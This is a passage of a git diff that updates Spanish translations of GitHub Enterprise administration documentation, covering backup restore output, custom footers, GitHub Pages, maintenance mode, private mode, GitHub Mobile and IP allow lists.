 $ ghe-restore -c 169.154.1.1
-> Checking for leaked keys in the backup snapshot that is being restored ...
-> * No leaked keys found
-> Connect 169.154.1.1:122 OK (v2.9.0)
+> Comprobando claves filtradas en la instantánea de respaldo que se está restableciendo ...
+> * No se encontraron claves filtradas
+> Conectarse a 169.154.1.1:122 OK (v2.9.0)
 
-> WARNING: All data on GitHub Enterprise appliance 169.154.1.1 (v2.9.0)
->          will be overwritten with data from snapshot 20170329T150710.
-> Please verify that this is the correct restore host before continuing.
-> Type 'yes' to continue: <em>yes</em>
+> ADVERTENCIA: Todos los datos del aparato GitHub Enterprise 169.154.1.1 (v2.9.0)
+>          se sobrescribirán con los datos de la instantánea 20170329T150710.
+> Antes de continuar, verifica que sea el host de restauración correcto.
+> Escribe 'yes' (sí) para continuar: <em>yes</em>
 
-> Starting restore of 169.154.1.1:122 from snapshot 20170329T150710
-# ...output truncated
-> Completed restore of 169.154.1.1:122 from snapshot 20170329T150710
-> Visit https://169.154.1.1/setup/settings to review appliance configuration.
+> Comenzando la restauración de 169.154.1.1:122 desde la instantánea 20170329T150710
+# ...resultado truncado
+> Restauración completa de 169.154.1.1:122 desde la instantánea 20170329T150710
+> Visita https://169.154.1.1/setup/settings para revisar la configuración del aparato.
 ```
 
 {% note %}
 
-**Note:** The network settings are excluded from the backup snapshot. You must manually configure the network on the target {% data variables.product.prodname_ghe_server %} appliance as required for your environment.
+**Nota:** Los ajustes de red están excluidos de la instantánea de copias de seguridad. Debes configurar manualmente la red en el aparato objetivo para el {% data variables.product.prodname_ghe_server %} como obligatoria para tu entorno.
 
 {% endnote %}
 
-You can use these additional options with `ghe-restore` command:
-- The `-c` flag overwrites the settings, certificate, and license data on the target host even if it is already configured. Omit this flag if you are setting up a staging instance for testing purposes and you wish to retain the existing configuration on the target. For more information, see the "Using using backup and restore commands" section of the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#using-the-backup-and-restore-commands).
-- The `-s` flag allows you to select a different backup snapshot.
+Puedes utilizar estas otras opciones con el comando `ghe-restore`:
+- La marca `-c` sobrescribe los ajustes, el certificado y los datos de licencia en el host objetivo, incluso si ya está configurado. Omite esta marca si estás configurando una instancia de preparación con fines de prueba y si quieres conservar la configuración existente en el objetivo. Para obtener más información, consulta la sección "Utilizar una copia de seguridad y restablecer los comandos" de [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#using-the-backup-and-restore-commands).
+- La marca `-s` te permite seleccionar otra instantánea de copias de seguridad.
diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md
index c334869985..f18aca0be0 100644
--- a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md
+++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md
@@ -10,6 +10,7 @@ topics:
   - Fundamentals
 shortTitle: Configure custom footers
 ---
+
 Enterprise owners can configure {% data variables.product.product_name %} to show custom footers with up to five additional links.
 
 ![Custom footer](/assets/images/enterprise/custom-footer/octodemo-footer.png)
@@ -28,11 +29,8 @@ The custom footer is displayed above the {% data variables.product.prodname_dotc
 ![Enterprise profile settings](/assets/images/enterprise/custom-footer/enterprise-profile-ghes.png)
 {%- endif %}
 
-1. At the top of the Profile section, click **Custom footer**.
-![Custom footer section](/assets/images/enterprise/custom-footer/custom-footer-section.png)
+1. At the top of the Profile section, click **Custom footer**. ![Custom footer section](/assets/images/enterprise/custom-footer/custom-footer-section.png)
 
-1. Add up to five links in the fields shown.
-![Add footer links](/assets/images/enterprise/custom-footer/add-footer-links.png)
+1. Add up to five links in the fields shown. ![Add footer links](/assets/images/enterprise/custom-footer/add-footer-links.png)
 
-1. Click **Update custom footer** to save the content and display the custom footer.
-![Update custom footer](/assets/images/enterprise/custom-footer/update-custom-footer.png)
+1. Click **Update custom footer** to save the content and display the custom footer. ![Update custom footer](/assets/images/enterprise/custom-footer/update-custom-footer.png)
diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md
index 04026804b1..8169ac363f 100644
--- a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md
+++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md
@@ -2,10 +2,10 @@
 title: Configurar el correo electrónico para notificaciones
 intro: 'Para que sea más fácil para los usuarios el responder rápidamente a la actividad de {% data variables.product.product_name %}, puedes configurar a {% data variables.product.product_location %} para que envíe notificaciones por correo electrónico para las propuestas, solicitudes de cambio y comentarios de las confirmaciones.'
 redirect_from:
-  - /enterprise/admin/guides/installation/email-configuration/
-  - /enterprise/admin/articles/configuring-email/
-  - /enterprise/admin/articles/troubleshooting-email/
-  - /enterprise/admin/articles/email-configuration-and-troubleshooting/
+  - /enterprise/admin/guides/installation/email-configuration
+  - /enterprise/admin/articles/configuring-email
+  - /enterprise/admin/articles/troubleshooting-email
+  - /enterprise/admin/articles/email-configuration-and-troubleshooting
   - /enterprise/admin/user-management/configuring-email-for-notifications
   - /admin/configuration/configuring-email-for-notifications
 versions:
diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md
index d5d41ee13a..60057d4e48 100644
--- a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md
+++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md
@@ -1,13 +1,13 @@
 ---
-title: Configuring GitHub Pages for your enterprise
-intro: 'You can enable or disable {% data variables.product.prodname_pages %} for your enterprise{% ifversion ghes %} and choose whether to make sites publicly accessible{% endif %}.'
+title: Configurar GitHub Pages para tu empresa
+intro: 'Puedes habilitar o inhabilitar {% data variables.product.prodname_pages %} para tu empresa{% ifversion ghes %} y elegir si quieres que los sitios sean accesibles al público en general{% endif %}.'
 redirect_from:
-  - /enterprise/admin/guides/installation/disabling-github-enterprise-pages/
-  - /enterprise/admin/guides/installation/configuring-github-enterprise-pages/
+  - /enterprise/admin/guides/installation/disabling-github-enterprise-pages
+  - /enterprise/admin/guides/installation/configuring-github-enterprise-pages
   - /enterprise/admin/installation/configuring-github-pages-on-your-appliance
   - /enterprise/admin/configuration/configuring-github-pages-on-your-appliance
   - /admin/configuration/configuring-github-pages-on-your-appliance
-  - /enterprise/admin/guides/installation/configuring-github-pages-for-your-enterprise/
+  - /enterprise/admin/guides/installation/configuring-github-pages-for-your-enterprise
   - /admin/configuration/configuring-github-pages-for-your-enterprise
 versions:
   ghes: '*'
@@ -16,37 +16,35 @@ type: how_to
 topics:
   - Enterprise
   - Pages
-shortTitle: Configure GitHub Pages
+shortTitle: Configurar GitHub Pages
 ---
 
 {% ifversion ghes %}
 
-## Enabling public sites for {% data variables.product.prodname_pages %}
+## Habilitar los sitios públicos para {% data variables.product.prodname_pages %}
 
-If private mode is enabled on your enterprise, the public cannot access {% data variables.product.prodname_pages %} sites hosted by your enterprise unless you enable public sites.
+Si se habilitó el modo privado en tu empresa, el público en general no podrá acceder a los sitios de {% data variables.product.prodname_pages %} que estén hospedados en tu empresa a menos de que habilites los sitios públicos.
 
 {% warning %}
 
-**Warning:** If you enable public sites for {% data variables.product.prodname_pages %}, every site in every repository on your enterprise will be accessible to the public.
+**Advertencia:** Si habilitas los sitios públicos para {% data variables.product.prodname_pages %}, cada sitio en cada repositorio de tu empresa será accesible para el público en general.
 
 {% endwarning %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.pages-tab %}
-4. Select **Public Pages**.
-  ![Checkbox to enable Public Pages](/assets/images/enterprise/management-console/public-pages-checkbox.png)
+4. Selecciona **Public Pages** (Páginas públicas). ![Casilla de verificación para habilitar páginas públicas](/assets/images/enterprise/management-console/public-pages-checkbox.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
-## Disabling {% data variables.product.prodname_pages %} for your enterprise
+## Inhabilitar {% data variables.product.prodname_pages %} para tu empresa
 
-If subdomain isolation is disabled for your enterprise, you should also disable {% data variables.product.prodname_pages %} to protect yourself from potential security vulnerabilities. For more information, see "[Enabling subdomain isolation](/admin/configuration/enabling-subdomain-isolation)."
+Si el aislamiento de subdominios está inhabilitado en tu empresa, también debes inhabilitar las {% data variables.product.prodname_pages %} para protegerte de vulnerabilidades de seguridad potenciales. Para obtener más información, consulta la sección "[Enabling subdomain isolation](/admin/configuration/enabling-subdomain-isolation)".
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.pages-tab %}
-4. Unselect **Enable Pages**.
-  ![Checkbox to disable {% data variables.product.prodname_pages %}](/assets/images/enterprise/management-console/pages-select-button.png)
+4. Anula la selección de **Enable Pages** (Habilitar páginas). ![Casilla de verificación para inhabilitar {% data variables.product.prodname_pages %}](/assets/images/enterprise/management-console/pages-select-button.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
 {% endif %}
@@ -56,14 +54,13 @@ If subdomain isolation is disabled for your enterprise, you should also disable
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.pages-tab %}
-5. Under "Pages policies", deselect **Enable {% data variables.product.prodname_pages %}**.
-  ![Checkbox to disable {% data variables.product.prodname_pages %}](/assets/images/enterprise/business-accounts/enable-github-pages-checkbox.png)
+5. Debajo de "Políticas de las páginas", deselecciona **Habilitar {% data variables.product.prodname_pages %}**. ![Casilla de verificación para inhabilitar {% data variables.product.prodname_pages %}](/assets/images/enterprise/business-accounts/enable-github-pages-checkbox.png)
 {% data reusables.enterprise-accounts.pages-policies-save %}
 
 {% endif %}
 
 {% ifversion ghes %}
-## Further reading
+## Leer más
 
-- "[Enabling private mode](/admin/configuration/enabling-private-mode)"
+- "[Habilitar el modo privado](/admin/configuration/enabling-private-mode)"
 {% endif %}
diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md
index 313f3fdb9d..94bf5a9512 100644
--- a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md
+++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md
@@ -2,10 +2,10 @@
 title: Configurar la sincronización de hora
 intro: '{% data variables.product.prodname_ghe_server %} sincroniza automáticamente el reloj conectándose con los servidores NTP. Puedes establecer los servidores NTP que se utilicen para sincronizar el reloj o puedes usar los servidores NTP predeterminados.'
 redirect_from:
-  - /enterprise/admin/articles/adjusting-the-clock/
-  - /enterprise/admin/articles/configuring-time-zone-and-ntp-settings/
-  - /enterprise/admin/articles/setting-ntp-servers/
-  - /enterprise/admin/categories/time/
+  - /enterprise/admin/articles/adjusting-the-clock
+  - /enterprise/admin/articles/configuring-time-zone-and-ntp-settings
+  - /enterprise/admin/articles/setting-ntp-servers
+  - /enterprise/admin/categories/time
   - /enterprise/admin/installation/configuring-time-synchronization
   - /enterprise/admin/configuration/configuring-time-synchronization
   - /admin/configuration/configuring-time-synchronization
diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md
index 8444f9199d..274fea0694 100644
--- a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md
+++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling and scheduling maintenance mode
-intro: 'Some standard maintenance procedures, such as upgrading {% data variables.product.product_location %} or restoring backups, require the instance to be taken offline for normal use.'
+title: Habilitar y programar el modo de mantenimiento
+intro: 'Algunos procedimientos de mantenimiento estándar, como la actualización {% data variables.product.product_location %} o la restauración de copias de seguridad, exigen que la instancia esté sin conexión para el uso normal.'
 redirect_from:
   - /enterprise/admin/maintenance-mode
   - /enterprise/admin/categories/maintenance-mode
@@ -19,55 +19,52 @@ topics:
   - Fundamentals
   - Maintenance
   - Upgrades
-shortTitle: Configure maintenance mode
+shortTitle: Configurar el modo de mantenimiento
 ---
-## About maintenance mode
 
-Some types of operations require that you take {% data variables.product.product_location %} offline and put it into maintenance mode:
-- Upgrading to a new version of {% data variables.product.prodname_ghe_server %}
-- Increasing CPU, memory, or storage resources allocated to the virtual machine
-- Migrating data from one virtual machine to another
-- Restoring data from a {% data variables.product.prodname_enterprise_backup_utilities %} snapshot
-- Troubleshooting certain types of critical application issues
+## Acerca del modo de mantenimiento
 
-We recommend that you schedule a maintenance window for at least 30 minutes in the future to give users time to prepare. When a maintenance window is scheduled, all users will see a banner when accessing the site.
+Algunos tipos de operaciones exigen que desconectes tu {% data variables.product.product_location %} y la pongas en modo de mantenimiento:
+- Actualizar a una versión nueva de tu {% data variables.product.prodname_ghe_server %}
+- Aumentar los recursos de CPU, memoria o almacenamiento asignados a la máquina virtual
+- Migrar datos desde una máquina virtual a otra
+- Restaurar datos desde una instantánea de {% data variables.product.prodname_enterprise_backup_utilities %}
+- Solucionar ciertos tipos de problemas críticos de solicitud
 
-![End user banner about scheduled maintenance](/assets/images/enterprise/maintenance/maintenance-scheduled.png)
+Recomendamos que programe una ventana de mantenimiento para, al menos, los siguientes 30 minutos para darle a los usuarios tiempo para prepararse. Cuando está programada una ventana de mantenimiento, todos los usuarios verán un mensaje emergente al acceder al sitio.
 
-When the instance is in maintenance mode, all normal HTTP and Git access is refused. Git fetch, clone, and push operations are also rejected with an error message indicating that the site is temporarily unavailable. GitHub Actions jobs will not be executed. Visiting the site in a browser results in a maintenance page.
+![Mensaje emergente para el usuario final acerca del mantenimiento programado](/assets/images/enterprise/maintenance/maintenance-scheduled.png)
 
-![The maintenance mode splash screen](/assets/images/enterprise/maintenance/maintenance-mode-maintenance-page.png)
+Cuando la instancia está en modo de mantenimiento, se rechazan todos los accesos HTTP y Git. Las operaciones de extracción, clonación y subida de Git también se rechazan con un mensaje de error que indica que temporalmente el sitio no se encuentra disponible. No se ejecutarán los jobs de las Github Actions. Al visitar el sitio desde un navegador aparece una página de mantenimiento.
 
-## Enabling maintenance mode immediately or scheduling a maintenance window for a later time
+![La pantalla de presentación del modo de mantenimiento](/assets/images/enterprise/maintenance/maintenance-mode-maintenance-page.png)
+
+## Habilitar el modo de mantenimiento de inmediato o programar una ventana de mantenimiento para más tarde
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
-2. At the top of the {% data variables.enterprise.management_console %}, click **Maintenance**.
-  ![Maintenance tab](/assets/images/enterprise/management-console/maintenance-tab.png)
-3. Under "Enable and schedule", decide whether to enable maintenance mode immediately or to schedule a maintenance window for a future time.
-    - To enable maintenance mode immediately, use the drop-down menu and click **now**.
-    ![Drop-down menu with the option to enable maintenance mode now selected](/assets/images/enterprise/maintenance/enable-maintenance-mode-now.png)
-    - To schedule a maintenance window for a future time, use the drop-down menu and click a start time.
-    ![Drop-down menu with the option to schedule a maintenance window in two hours selected](/assets/images/enterprise/maintenance/schedule-maintenance-mode-two-hours.png)
-4. Select **Enable maintenance mode**.
-  ![Checkbox for enabling or scheduling maintenance mode](/assets/images/enterprise/maintenance/enable-maintenance-mode-checkbox.png)
+2. En la parte superior de la {% data variables.enterprise.management_console %}, haz clic en **Mantenimiento**. ![Pestaña de mantenimiento](/assets/images/enterprise/management-console/maintenance-tab.png)
+3. En "Habilitar y Programar", decide si habilitas el modo de mantenimiento de inmediato o programas una ventana de mantenimiento para otro momento.
+    - Para habilitar el modo de mantenimiento de inmediato, usa el menú desplegable y haz clic en **now** (ahora). ![Menú desplegable con la opción para habilitar el modo de mantenimiento ahora seleccionado](/assets/images/enterprise/maintenance/enable-maintenance-mode-now.png)
+    - Para programar una ventana de mantenimiento para otro momento, usa el menú desplegable y haz clic en un horario de inicio. ![Menú desplegable con la opción para programar una ventana de mantenimiento](/assets/images/enterprise/maintenance/schedule-maintenance-mode-two-hours.png)
+4. Selecciona **Habilitar el modo de mantenimiento**. ![Casilla de verificación para habilitar o programar el modo de mantenimiento](/assets/images/enterprise/maintenance/enable-maintenance-mode-checkbox.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
-## Scheduling maintenance mode with {% data variables.product.prodname_enterprise_api %}
+## Programar el modo de mantenimiento con {% data variables.product.prodname_enterprise_api %}
 
-You can schedule maintenance for different times or dates with {% data variables.product.prodname_enterprise_api %}. For more information, see "[Management Console](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#enable-or-disable-maintenance-mode)."
+Puedes programar el mantenimiento para horarios o días diferentes con {% data variables.product.prodname_enterprise_api %}. Para obtener más información, consulta la sección "[Consola de Administración](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#enable-or-disable-maintenance-mode)".
 
-## Enabling or disabling maintenance mode for all nodes in a cluster
+## Habilitar o inhabilitar el modo de mantenimientos para todos los nodos de una agrupación
 
-With the `ghe-cluster-maintenance` utility, you can set or unset maintenance mode for every node in a cluster.
+Con la herramienta `ghe-cluster-maintenance`, puedes configurar o anular la configuración del modo de mantenimiento para cada nodo de una agrupación.
 
 ```shell
 $ ghe-cluster-maintenance -h
-# Shows options
+# Muestra opciones
 $ ghe-cluster-maintenance -q
-# Queries the current mode
+# Consulta el modo actual
 $ ghe-cluster-maintenance -s
-# Sets maintenance mode
+# Configura el modo de mantenimiento
 $ ghe-cluster-maintenance -u
-# Unsets maintenance mode
+# Anula la configuración del modo de mantenimiento
 ```
diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md
index 227aa870ba..60844c793b 100644
--- a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md
+++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md
@@ -2,9 +2,9 @@
 title: Habilitar el modo privado
 intro: 'En el modo privado, {% data variables.product.prodname_ghe_server %} exige que todos los usuarios inicien sesión para acceder a la instalación.'
 redirect_from:
-  - /enterprise/admin/articles/private-mode/
-  - /enterprise/admin/guides/installation/security/
-  - /enterprise/admin/guides/installation/securing-your-instance/
+  - /enterprise/admin/articles/private-mode
+  - /enterprise/admin/guides/installation/security
+  - /enterprise/admin/guides/installation/securing-your-instance
   - /enterprise/admin/installation/enabling-private-mode
   - /enterprise/admin/configuration/enabling-private-mode
   - /admin/configuration/enabling-private-mode
diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/index.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/index.md
index ff4c39c4da..27b1020567 100644
--- a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/index.md
+++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/index.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring your enterprise
-intro: 'After {% data variables.product.product_name %} is up and running, you can configure your enterprise to suit your organization''s needs.'
+title: Configurar tu empresa
+intro: 'Después de que {% data variables.product.product_name %} se encuentre listo y funcionando, puedes configurar tu empresa de acuerdo con las necesidades de tu organización.'
 redirect_from:
   - /enterprise/admin/guides/installation/basic-configuration
   - /enterprise/admin/guides/installation/administrative-tools
@@ -35,6 +35,6 @@ children:
   - /configuring-github-pages-for-your-enterprise
   - /configuring-the-referrer-policy-for-your-enterprise
   - /configuring-custom-footers
-shortTitle: Configure your enterprise
+shortTitle: Configurar tu empresa
 ---
 
diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md
index a21010bcdc..6c01d7a713 100644
--- a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md
+++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
 title: Managing GitHub Mobile for your enterprise
-intro: 'You can decide whether authenticated users can connect to {% data variables.product.product_location %} with {% data variables.product.prodname_mobile %}.'
+intro: 'Puedes decidir si los usuarios autenticados pueden conectarse a {% data variables.product.product_location %} con {% data variables.product.prodname_mobile %}.'
 permissions: 'Enterprise owners can manage {% data variables.product.prodname_mobile %} for an enterprise on {% data variables.product.product_name %}.'
 versions:
   ghes: '*'
@@ -11,25 +11,24 @@ topics:
 redirect_from:
   - /admin/configuration/configuring-your-enterprise/managing-github-for-mobile-for-your-enterprise
   - /admin/configuration/managing-github-for-mobile-for-your-enterprise
-shortTitle: 'Manage GitHub Mobile'
+shortTitle: Manage GitHub Mobile
 ---
+
 {% ifversion ghes %}
 {% data reusables.mobile.ghes-release-phase %}
 {% endif %}
 
-## About {% data variables.product.prodname_mobile %}
+## Acerca de {% data variables.product.prodname_mobile %}
 
 {% data reusables.mobile.about-mobile %} For more information, see "[{% data variables.product.prodname_mobile %}](/get-started/using-github/github-mobile)."
 
-Members of your enterprise can use {% data variables.product.prodname_mobile %} to triage, collaborate, and manage work on {% data variables.product.product_location %} from a mobile device. By default, {% data variables.product.prodname_mobile %} is enabled for {% data variables.product.product_location %}. You can allow or disallow enterprise members from using {% data variables.product.prodname_mobile %} to authenticate to {% data variables.product.product_location %} and access your enterprise's data.
+Los miembros de tu empresa pueden utilizar {% data variables.product.prodname_mobile %} para clasificar, colaborar y administrar el trabajo en {% data variables.product.product_location %} desde un dispositivo móvil. Predeterminadamente, {% data variables.product.prodname_mobile %} se encuentra habilitado para {% data variables.product.product_location %}. Puedes permitir o dejar de permitir que los miembros de la empresa utilicen {% data variables.product.prodname_mobile %} para autenticarse en {% data variables.product.product_location %} y accedan a tus datos empresariales.
 
-## Enabling or disabling {% data variables.product.prodname_mobile %}
+## Habilitar o inhabilitar {% data variables.product.prodname_mobile %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.type-management-console-password %}
-1. In the left sidebar, click **Mobile**.
-  !["Mobile" in the left sidebar for the {% data variables.product.prodname_ghe_server %} management console](/assets/images/enterprise/management-console/click-mobile.png)
-1. Under "GitHub Mobile", select or deselect **Enable GitHub Mobile Apps**.
-  ![Checkbox for "Enable GitHub Mobile Apps" in the {% data variables.product.prodname_ghe_server %} management console](/assets/images/enterprise/management-console/select-enable-github-mobile-apps.png)
+1. En la barra lateral, da clic en **Móvil**. !["Móvil" en la barra lateral izquierda para la consola de administración de {% data variables.product.prodname_ghe_server %}](/assets/images/enterprise/management-console/click-mobile.png)
+1. Under "GitHub Mobile", select or deselect **Enable GitHub Mobile Apps**. ![Casilla de verificación para "Habilitar las Apps de GitHub Móvil" en la consola de administración de {% data variables.product.prodname_ghe_server %}](/assets/images/enterprise/management-console/select-enable-github-mobile-apps.png)
 {% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md
index f24c20e6b8..b9096079e6 100644
--- a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md
+++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
-title: Restricting network traffic to your enterprise
-shortTitle: Restricting network traffic
-intro: You can use an IP allow list to restrict access to your enterprise to connections from specified IP addresses.
+title: Restringir el tráfico de red en tu empresa
+shortTitle: Restringir el tráfico de red
+intro: Puedes utilizar una lista de IP permitidas para restringir el acceso de conexiones de IP específicas a tu empresa.
 versions:
   ghae: '*'
 type: how_to
@@ -14,21 +14,22 @@ topics:
 redirect_from:
   - /admin/configuration/restricting-network-traffic-to-your-enterprise
 ---
-## About IP allow lists
 
-By default, authorized users can access your enterprise from any IP address. Enterprise owners can restrict access to assets owned by organizations in an enterprise account by configuring an allow list for specific IP addresses. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %}
+## Acerca de las listas de IP permitidas
+
+Predeterminadamente, los usuarios autorizados pueden acceder a tu empresa desde cualquier dirección IP. Los propietarios de empresa pueden restringir el acceso a los activos que pertenezcan a las organizaciones dentro de la cuenta empresarial mediante la configuración de una lista de direcciones IP permitidas. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %}
 
 {% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %}
 
-{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %} 
+{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %}
 
-You can also configure allowed IP addresses for an individual organization. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)."
+También puedes configurar las direcciones IP permitidas para una organización individual. Para obtener más información, consulta "[Administrar las direcciones IP permitidas en tu organización](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)".
 
-By default, Azure network security group (NSG) rules leave all inbound traffic open on ports 22, 80, 443, and 25. Enterprise owners can contact {% data variables.contact.github_support %} to configure access restrictions for your instance.
+Predeterminadamente, las reglas del grupo de seguridad de redes (NSG) de Azure dejan todo el tráfico entrante abierto en los puertos 22, 80, 443 y 25. Los propietarios de las empresas pueden contactar a {% data variables.contact.github_support %} para configurar las restricciones de acceso para tu instancia.
 
-For instance-level restrictions using Azure NSGs, contact {% data variables.contact.github_support %} with the IP addresses that should be allowed to access your enterprise instance. Specify address ranges using the standard CIDR (Classless Inter-Domain Routing) format. {% data variables.contact.github_support %} will configure the appropriate firewall rules for your enterprise to restrict network access over HTTP, SSH, HTTPS, and SMTP. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)."
+Para las restricciones a nivel de instancia que utilizan los NSG de Azure, contacta a {% data variables.contact.github_support %} enviando las direcciones IP que deberán poder acceder a tu instancia empresarial. Especifica los rangos de direcciones utilizando el formato estándar de CIDR (Enrutamiento sin Clases entre Dominios, por sus siglas en inglés). {% data variables.contact.github_support %} configurará las reglas de cortafuegos adecuadas para que tu empresa restrinja el acceso por HTTP, SSH, HTTPS, y SMTP. Para obtener más información, consulta la sección "[Recibir ayuda de {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)".
 
-## Adding an allowed IP address
+## Agregar una dirección IP permitida
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -37,20 +38,19 @@ For instance-level restrictions using Azure NSGs, contact {% data variables.cont
 {% data reusables.identity-and-permissions.ip-allow-lists-add-description %}
 {% data reusables.identity-and-permissions.ip-allow-lists-add-entry %}
 
-## Allowing access by {% data variables.product.prodname_github_apps %}
+## Permitir el acceso mediante {% data variables.product.prodname_github_apps %}
 
 {% data reusables.identity-and-permissions.ip-allow-lists-githubapps-enterprise %}
 
-## Enabling allowed IP addresses
+## Habilitar direcciones IP permitidas
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.security-tab %}
-1. Under "IP allow list", select **Enable IP allow list**.
-  ![Checkbox to allow IP addresses](/assets/images/help/security/enable-ip-allowlist-enterprise-checkbox.png)
-4. Click **Save**.
+1. En "IP allow list" (Lista de permisos de IP), seleccione **Enable IP allow list** (Habilitar lista de permisos de IP). ![Realizar una marca de verificación para permitir direcciones IP](/assets/images/help/security/enable-ip-allowlist-enterprise-checkbox.png)
+4. Haz clic en **Save ** (guardar).
 
-## Editing an allowed IP address
+## Editar una dirección IP permitida
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -58,9 +58,9 @@ For instance-level restrictions using Azure NSGs, contact {% data variables.cont
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-description %}
-8. Click **Update**.
+8. Da clic en **Actualizar**.
 
-## Deleting an allowed IP address
+## Eliminar una dirección IP permitida
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
@@ -68,6 +68,6 @@ For instance-level restrictions using Azure NSGs, contact {% data variables.cont
 {% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %}
 
-## Using {% data variables.product.prodname_actions %} with an IP allow list
+## Utilizar {% data variables.product.prodname_actions %} con un listado de direcciones IP permitidas
 
 {% data reusables.github-actions.ip-allow-list-self-hosted-runners %}
diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md
index 610a1878cc..9cb3ba1b65 100644
--- a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md
